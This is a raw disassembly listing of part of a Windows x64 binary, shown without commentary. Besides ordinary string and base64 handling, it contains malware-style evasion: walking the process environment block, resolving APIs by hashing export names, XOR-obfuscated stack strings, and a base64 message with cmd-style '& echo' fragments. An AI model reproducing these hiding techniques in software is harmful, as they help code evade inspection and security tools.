call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
mov dl, 0x30
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::fill_char____ptr64]
mov edx, 2
lea rcx, [rbp + 0x180]
call sub.MSVCP140.dll_struct_std::_Smanip_long_long___int64_____cdecl_std::setw_long_long___int64__
mov r8, qword [rax]
mov rcx, qword [rbx]
movsxd rcx, dword [rcx + 4]
add rcx, rbx
mov rdx, qword [rax + 8]
call r8
mov edx, edi
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
inc rsi
cmp rsi, r15
jne 0x1400e3060
lea rdx, [rbp]
lea rcx, [rbp + 0x350]
call fcn.140018f40
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x1400e30e1
mov rdx, qword [rax]
mov rax, r13
inc rax
cmp byte [rdx + rax], 0
jne 0x1400e30e4
lea rcx, [0x140596e88]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x140596e88]
mov r8, qword [0x140596e98]
cmp r8, rax
jne 0x1400e311d
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400e311d
xor bl, bl
jmp 0x1400e311f
mov bl, 1
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400e315d
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e3158
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e3158
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
test bl, bl
je 0x1400e36f4
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], r12
mov r8d, 0x90
lea rdx, str.U2lnbmF0dXJlIGNoZWNrc3VtIGZhaWxlZC4gUmVxdWVzdCB3YXMgdGFtcGVyZWQgd2l0aCBvciBzZXNzaW9uIGVuZGVkIG1vc3QgbGlrZWx5LiAmIGVjaG86ICYgZWNobyBNZXNzYWdlOiA
lea rcx, [rbp + 0x90]
call fcn.1400f2730
nop
mov rax, qword [rbp + 0xa0]
mov ecx, r12d
mov dword [rbp - 0x78], ecx
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov r15, r12
mov qword [rbp + 0x190], r12
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x198], r12
mov byte [rbp + 0x180], cl
or r14d, 0x10
mov dword [rbp - 0x80], r14d
mov dword [rsp + 0x38], r14d
mov rdx, qword [rbp + 0x90]
test rax, rax
je 0x1400e365d
xor r10d, r10d
mov r13d, r10d
mov edi, r10d
mov r9, qword [rbp + 0xa8]
cmp r9, r12
seta r8b
mov byte [rsp + 0x30], r8b
movzx ebx, byte [rsp + 0x30]
movzx esi, byte [rsp + 0x35]
nop
dec rax
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0x90]
cmp r9, 0xf
cmova rax, rdx
cmp byte [rax + r13], 0x3d
je 0x1400e3531
lea rax, [rbp + 0x90]
test r8b, r8b
cmovne rax, rdx
movzx r14d, byte [rax + r13]
mov ecx, r14d
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
test eax, eax
jne 0x1400e325f
sub r14b, 0x2b
test r14b, 0xfb
jne 0x1400e352b
lea rax, [rbp + 0x90]
movzx r8d, byte [rsp + 0x30]
test r8b, r8b
mov rdx, qword [rbp + 0x90]
cmovne rax, rdx
movzx eax, byte [rax + r13]
mov byte [rsp + rdi + 0x34], al
mov ecx, dword [rbp - 0x78]
inc ecx
mov dword [rbp - 0x78], ecx
inc rdi
inc r13
mov qword [rbp + 0x1b0], r13
cmp rdi, 4
jne 0x1400e350d
cmp qword [0x14059e778], 0xf
seta r13b
mov byte [rsp + 0x50], r13b
lea rdi, [0x14059e760]
mov rsi, qword [0x14059e760]
cmova rdi, rsi
mov r14, qword [0x14059e770]
test r14, r14
je 0x1400e32eb
movsx edx, byte [rsp + 0x34]
mov r8, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400e32eb
sub rax, rdi
jmp 0x1400e32f2
mov rax, 0xffffffffffffffff
mov byte [rsp + 0x34], al
lea rdi, [0x14059e760]
test r13b, r13b
cmovne rdi, rsi
test r14, r14
je 0x1400e3326
movsx edx, byte [rsp + 0x35]
mov r8, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rsi, rax
test rax, rax
je 0x1400e3326
sub rsi, rdi
jmp 0x1400e332d
mov rsi, 0xffffffffffffffff
mov byte [rsp + 0x35], sil
lea r13, [0x14059e760]
cmp byte [rsp + 0x50], 0
cmovne r13, qword [0x14059e760]
test r14, r14
je 0x1400e3368
movsx edx, byte [rsp + 0x36]
mov r8, r14
mov rcx, r13
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x1400e3368
sub rdi, r13
jmp 0x1400e336f
mov rdi, 0xffffffffffffffff
mov byte [rsp + 0x36], dil
lea r13, [0x14059e760]
cmp byte [rsp + 0x50], 0
cmovne r13, qword [0x14059e760]
test r14, r14
je 0x1400e33aa
movsx edx, byte [rsp + 0x37]
mov r8, r14
mov rcx, r13
call sub.VCRUNTIME140.dll_memchr
mov rcx, rax
test rax, rax
je 0x1400e33aa
sub rcx, r13
jmp 0x1400e33b1
mov rcx, 0xffffffffffffffff
mov byte [rsp + 0x37], cl
movzx r9d, sil
shr r9b, 4
and r9b, 3
movzx eax, byte [rsp + 0x34]
shl al, 2
add r9b, al
movzx r14d, byte [rsp + 0x36]
shr r14b, 2
and r14b, 0xf
movzx eax, sil
shl al, 4
add r14b, al
shl dil, 6
add dil, cl
mov byte [rbp - 0x5e], dil
cmp r15, r12
jae 0x1400e341e
lea rax, [r15 + 1]
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x180]
cmp r12, 0xf
cmova rax, qword [rbp + 0x180]
mov byte [rax + r15], r9b
mov byte [rax + r15 + 1], 0
jmp 0x1400e3433
movzx r8d, bl
mov edx, 1
lea rcx, [rbp + 0x180]
call fcn.14010be40
mov rcx, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
cmp rcx, rdx
jae 0x1400e346f
lea rax, [rcx + 1]
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x180]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x180]
mov byte [rax + rcx], r14b
mov byte [rax + rcx + 1], 0
jmp 0x1400e3488
movzx r9d, r14b
movzx r8d, bl
mov edx, 1
lea rcx, [rbp + 0x180]
call fcn.14010be40
mov rcx, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
cmp rcx, rdx
jae 0x1400e34c4
lea rax, [rcx + 1]
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x180]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x180]
mov byte [rax + rcx], dil
mov byte [rax + rcx + 1], 0
jmp 0x1400e34dd
movzx r9d, dil
movzx r8d, bl
mov edx, 1
lea rcx, [rbp + 0x180]
call fcn.14010be40
xor r10d, r10d
mov ecx, r10d
mov dword [rbp - 0x78], ecx
mov edi, r10d
mov r12, qword [rbp + 0x198]
mov r15, qword [rbp + 0x190]
mov r13, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x90]
movzx r8d, byte [rsp + 0x30]
jmp 0x1400e3515
movzx esi, byte [rsp + 0x35]
xor r10d, r10d
mov rax, qword [rbp - 0x70]
test rax, rax
mov r9, qword [rbp + 0xa8]
jne 0x1400e3210
jmp 0x1400e3531
mov ecx, dword [rbp - 0x78]
xor r10d, r10d
test ecx, ecx
je 0x1400e3652
movsxd r14, ecx
jle 0x1400e35ad
mov rdi, r10
mov r13, qword [0x14059e778]
mov rsi, qword [0x14059e770]
mov r12, 0xffffffffffffffff
nop word [rax + rax]
lea rbx, [0x14059e760]
cmp r13, 0xf
cmova rbx, qword [0x14059e760]
test rsi, rsi
je 0x1400e3592
movsx edx, byte [rsp + rdi + 0x34]
mov r8, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400e3592
sub rax, rbx
jmp 0x1400e3595
mov rax, r12
mov byte [rsp + rdi + 0x34], al
inc rdi
cmp rdi, r14
jl 0x1400e3560
movzx esi, byte [rsp + 0x35]
mov r12, qword [rbp + 0x198]
movzx ecx, sil
shr cl, 4
and cl, 3
movzx eax, byte [rsp + 0x34]
shl al, 2
add cl, al
mov byte [rbp - 0x60], cl
movzx eax, byte [rsp + 0x36]
shr al, 2
and al, 0xf
shl sil, 4
add al, sil
mov byte [rbp - 0x5f], al
mov eax, dword [rbp - 0x78]
dec eax
movsxd rsi, eax
test eax, eax
jle 0x1400e3652
xor edi, edi
movzx ebx, byte [rsp + 0x30]
nop dword [rax + rax]
movzx r9d, byte [rbp + rdi - 0x60]
cmp r15, r12
jae 0x1400e3625
lea rax, [r15 + 1]
mov qword [rbp + 0x190], rax
lea rax, [rbp + 0x180]
cmp r12, 0xf
cmova rax, qword [rbp + 0x180]
mov byte [rax + r15], r9b
mov byte [rax + r15 + 1], 0
jmp 0x1400e363a
movzx r8d, bl
mov edx, 1
lea rcx, [rbp + 0x180]
call fcn.14010be40
inc rdi
mov r12, qword [rbp + 0x198]
cmp rdi, rsi
jge 0x1400e3652
mov r15, qword [rbp + 0x190]
jmp 0x1400e35f0
mov r14d, dword [rbp - 0x80]
mov r13, 0xffffffffffffffff
lea rdx, [rbp + 0x180]
cmp r12, 0xf
cmova rdx, qword [rbp + 0x180]
lea r8, [rbp + 0x310]
lea rcx, [rbp + 0x40]
call fcn.1400e0e70
mov rcx, rax
call fcn.1400f8ad0
and r14d, 0xffffffef
mov r8, qword [rbp + 0x198]
cmp r8, 0xf
jbe 0x1400e36ad
mov rdx, qword [rbp + 0x180]
lea rcx, [rbp + 0x180]
call fcn.1400e0870
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x1400e36f1
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e36ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e36ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
xor r12d, r12d
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1e0]
call fcn.140006bc0
mov rdx, rax
mov r15, qword [rsp + 0x40]
mov rcx, r15
call fcn.1400ec330
lea rdx, [rbp + 0x200]
lea rcx, [rsp + 0x30]
call fcn.140108e10
nop
cmp byte [rbp + 0x220], 0
je 0x1400e39ef
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x180], xmm1
mov qword [rbp + 0x190], r12
mov rcx, qword [rbp + 0x210]
mov rax, rcx
shr rax, 1
mov qword [rbp + 0x1b0], rax
je 0x1400e3778
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x180]
call fcn.14010bd90
mov rcx, qword [rbp + 0x210]
mov rdi, r12
test rcx, rcx
je 0x1400e38d4
xorps xmm0, xmm0
movups xmmword [rbp + 0x260], xmm0
mov qword [rbp + 0x270], r12
mov qword [rbp + 0x278], r12
cmp rcx, rdi
jb 0x1400e530c
sub rcx, rdi
mov r8d, 2
cmp rcx, r8
cmovb r8, rcx
lea rdx, [rbp + 0x200]
cmp qword [rbp + 0x218], 0xf
cmova rdx, qword [rbp + 0x200]
add rdx, rdi
lea rcx, [rbp + 0x260]
call fcn.1400f2730
or r14d, 4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rsi, rax
lea rbx, [rbp + 0x260]
cmp qword [rbp + 0x278], 0xf
cmova rbx, qword [rbp + 0x260]
mov dword [rax], r12d
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x178]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtoul]
cmp rbx, qword [rbp + 0x178]
je 0x1400e531f
cmp dword [rsi], 0x22
je 0x1400e5312
mov byte [rsp + 0x30], al
mov rdx, qword [rbp + 0x188]
cmp rdx, qword [rbp + 0x190]
je 0x1400e384d
mov byte [rdx], al
inc qword [rbp + 0x188]
jmp 0x1400e385e
lea r8, [rsp + 0x30]
lea rcx, [rbp + 0x180]
call fcn.14010f850
lea rax, [rbp + 0x260]
cmp qword [rbp + 0x278], 0xf
cmova rax, qword [rbp + 0x260]
mov qword [rbp + 0x270], r12
mov byte [rax], 0
mov rdx, qword [rbp + 0x278]
cmp rdx, 0xf
jbe 0x1400e38c0
inc rdx
mov rcx, qword [rbp + 0x260]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e38bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400e398e
call fcn.140127e30
add rdi, 2
mov rcx, qword [rbp + 0x210]
cmp rdi, rcx
jb 0x1400e3784
lea r9, [rsp + 0x30]
mov r8, qword [rbp + 0x188]
mov rdx, qword [rbp + 0x180]
lea rcx, [rbp + 0x1e0]
call fcn.1400e1890
nop
lea rdx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0xf
cmova rdx, qword [rbp + 0x1e0]
mov r8, qword [rbp + 0x1f0]
lea rcx, [rbp + 0x200]
call fcn.1400e09d0
lea rax, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0xf
cmova rax, qword [rbp + 0x1e0]
mov byte [rax], 0
mov rcx, qword [rbp + 0x180]
cmp rcx, qword [rbp + 0x188]
je 0x1400e394f
mov qword [rbp + 0x188], rcx
mov byte [rbp + 0x220], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0xf
jbe 0x1400e39a1
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e3995
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e3995
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x1400e39ef
mov rdx, qword [rbp + 0x190]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e39d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e39d8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], r12
lea rdx, [rbp + 0x200]
lea rcx, [rbp]
call fcn.1400e0750
nop
movzx eax, byte [rbp + 0x1a0]
test al, al
jne 0x1400e3a2a
mov byte [rbp + 0x1a0], 1
call fcn.14010bd10
mov rcx, rax
mov qword [rbp + 0x1a8], rax
movzx eax, byte [rbp + 0x1a0]
jmp 0x1400e3a31
mov rcx, qword [rbp + 0x1a8]
cmp al, 1
jne 0x1400e3a43
lea rdx, [rbp]
call fcn.1400e1530
mov rcx, rax
jmp 0x1400e3a47
mov rcx, qword [rbp - 0x68]
lea rax, [rcx + 8]
cmp byte [rcx], 4
cmovne rax, r12
movzx r12d, byte [rax]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400e3a94
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e3a8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e3a8f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
xor esi, esi
cmp byte [rbp + 0x220], sil
jne 0x1400e3c4f
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov r8d, esi
mov qword [rbp + 0x190], rsi
mov r9d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x198], r9
mov byte [rbp + 0x180], sil
lea r14, [rbp + 0x200]
cmp qword [rbp + 0x218], r9
cmova r14, qword [rbp + 0x200]
lea rcx, [rbp + 0x200]
cmova rcx, qword [rbp + 0x200]
mov r15, qword [rbp + 0x210]
add r15, rcx
cmp r14, r15
je 0x1400e3bc7
movzx ebx, byte [rsp + 0x30]
nop dword [rax + rax]
movzx r8d, byte [r14]
lea rdx, str._02x
lea rcx, [rbp + 0x1b8]
call fcn.140064d00
lea rax, [rbp + 0x1b8]
mov rsi, r13
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400e3b31
mov rcx, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x198]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x1400e3b8c
lea rax, [rsi + rcx]
mov qword [rbp + 0x190], rax
lea rdi, [rbp + 0x180]
cmp rdx, 0xf
cmova rdi, qword [rbp + 0x180]
add rdi, rcx
mov r8, rsi
lea rdx, [rbp + 0x1b8]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rsi], 0
jmp 0x1400e3bab
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x1b8]
movzx r8d, bl
mov rdx, rsi
lea rcx, [rbp + 0x180]
call fcn.14010bfb0
inc r14
cmp r14, r15
jne 0x1400e3b10
mov r9, qword [rbp + 0x198]
mov r8, qword [rbp + 0x190]
xor esi, esi
lea rdx, [rbp + 0x180]
cmp r9, 0xf
cmova rdx, qword [rbp + 0x180]
lea rcx, [rbp + 0x200]
call fcn.1400e09d0
mov byte [rbp + 0x220], 1
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x1400e3c31
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e3c2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e3c2c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
mov qword [rbp + 0x190], rsi
mov qword [rbp + 0x198], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x180], 0
mov r15, qword [rsp + 0x40]
lea rdx, [rbp + 0x200]
lea rcx, [rbp]
call fcn.1400e0750
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400e3c9d
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400e3c98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400e3c98
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140127e30
call fcn.1400e19c0
test r12b, r12b
je 0x1400e3f79
test al, al
je 0x1400e3d66
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e3d46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e3d46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e3d41
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e3d20
cmp r8d, 0x1d8aa24e
je 0x1400e3d4b
test r9d, r9d
jne 0x1400e3d00
mov rax, qword [rax]
jmp 0x1400e3cd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov dword [rsp + 0x70], 0x7a7b6275
mov dword [rsp + 0x74], 0x64626463
mov word [rsp + 0x78], WSASetLastError
mov byte [rsp + 0x7a], 1
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x70]
call fcn.140107070
nop
movzx eax, byte [rbp + 0x1a0]
test al, al
jne 0x1400e3dbb
mov byte [rbp + 0x1a0], 1
call fcn.14010bd10
mov rcx, rax
mov qword [rbp + 0x1a8], rax
movzx eax, byte [rbp + 0x1a0]
jmp 0x1400e3dc2
mov rcx, qword [rbp + 0x1a8]
cmp al, 1
jne 0x1400e3dd1
lea rdx, [rbp + 0x20]
call fcn.1400e1530
jmp 0x1400e3dd5
mov rax, qword [rbp - 0x68]
cmp byte [rax], 3
jne 0x1400e3de0
mov r8, qword [rax + 8]
jmp 0x1400e3de3
mov r8, rsi
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x1400e3df0
mov rdx, qword [r8]
lea rcx, [r15 + 0x238]
mov r8, qword [r8 + 0x10]
call fcn.1400e09d0
nop
mov r8, qword [rbp + 0x38]
cmp r8, 0xf
jbe 0x1400e3e18
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.1400e0870
call fcn.1400e19c0
test al, al
je 0x1400e3ed6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e3eb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e3eb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e3eb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e3e90
cmp r8d, 0x1d8aa24e
je 0x1400e3ebb
test r9d, r9d
jne 0x1400e3e70
mov rax, qword [rax]
jmp 0x1400e3e40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov dword [rsp + 0x40], 0x60787767
mov dword [rsp + 0x44], 0x636d64
mov byte [rsp + 0x48], 1
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140108ba0
nop
movzx eax, byte [rbp + 0x1a0]
test al, al
jne 0x1400e3f24
mov byte [rbp + 0x1a0], 1
call fcn.14010bd10
mov rcx, rax
mov qword [rbp + 0x1a8], rax
movzx eax, byte [rbp + 0x1a0]
jmp 0x1400e3f2b
mov rcx, qword [rbp + 0x1a8]
cmp al, 1
jne 0x1400e3f3a
lea rdx, [rbp + 0x20]
call fcn.1400e1530
jmp 0x1400e3f3e
mov rax, qword [rbp - 0x68]
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.140006bc0
mov rdx, rax
mov rcx, r15
call fcn.1400ebad0
nop
mov r8, qword [rbp + 0x38]
cmp r8, 0xf
jbe 0x1400e4fd4
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.1400e0870
jmp 0x1400e4fd4
test al, al
je 0x1400e4036
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e4016
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e4016
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e4011
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e3ff0
cmp r8d, 0x1d8aa24e
je 0x1400e401b
test r9d, r9d
jne 0x1400e3fd0
mov rax, qword [rax]
jmp 0x1400e3fa0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov dword [rbp - 0x50], 0x687e696f
mov dword [rbp - 0x4c], 0x7b686266
mov dword [rbp - 0x48], 0x1007d6b
mov byte [rbp + 0x240], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140127dec
mov rbx, rax
lea rax, [rbp + 0x1d8]
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1c8], rbx
mov rdx, rbx
lea rcx, [rbp - 0x50]
call fcn.140109150
nop
mov qword [rbp + 0x248], rbx
call fcn.1400e19c0
test al, al
je 0x1400e4146
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e4126
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e4126
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e4121
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e4100
cmp r8d, 0x1d8aa24e
je 0x1400e412b
test r9d, r9d
jne 0x1400e40e0
mov rax, qword [rax]
jmp 0x1400e40b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov dword [rbp - 0x30], 0x7a7b626b
mov dword [rbp - 0x2c], 0x696c6b
mov byte [rbp - 0x28], 1
lea rdx, [rbp + 0x180]
lea rcx, [rbp - 0x30]
call fcn.140108ba0
nop
movzx eax, byte [rbp + 0x1a0]
test al, al
jne 0x1400e4193
mov byte [rbp + 0x1a0], 1
call fcn.14010bd10
mov rcx, rax
mov qword [rbp + 0x1a8], rax
movzx eax, byte [rbp + 0x1a0]
jmp 0x1400e419a
mov rcx, qword [rbp + 0x1a8]
cmp al, 1
jne 0x1400e41ac
lea rdx, [rbp + 0x180]
call fcn.1400e1530
jmp 0x1400e41b0
mov rax, qword [rbp - 0x68]
lea rdx, [rbp + 0x240]
mov rcx, rax
call fcn.14001b310
movzx ebx, al
mov r8, qword [rbp + 0x198]
cmp r8, 0xf
jbe 0x1400e41e2
mov rdx, qword [rbp + 0x180]
lea rcx, [rbp + 0x180]
call fcn.1400e0870
movdqa xmm0, xmmword [0x140173540]
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x180], 0
movzx edx, byte [rbp + 0x240]
lea rcx, [rbp + 0x248]
call fcn.14000af50
test bl, bl
je 0x1400e4fd4
call fcn.1400e19c0
test al, al
je 0x1400e42d6
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400e42b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400e42b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x410d76e6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400e42b1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400e4290
cmp r8d, 0x1d8aa24e
je 0x1400e42bb
test r9d, r9d
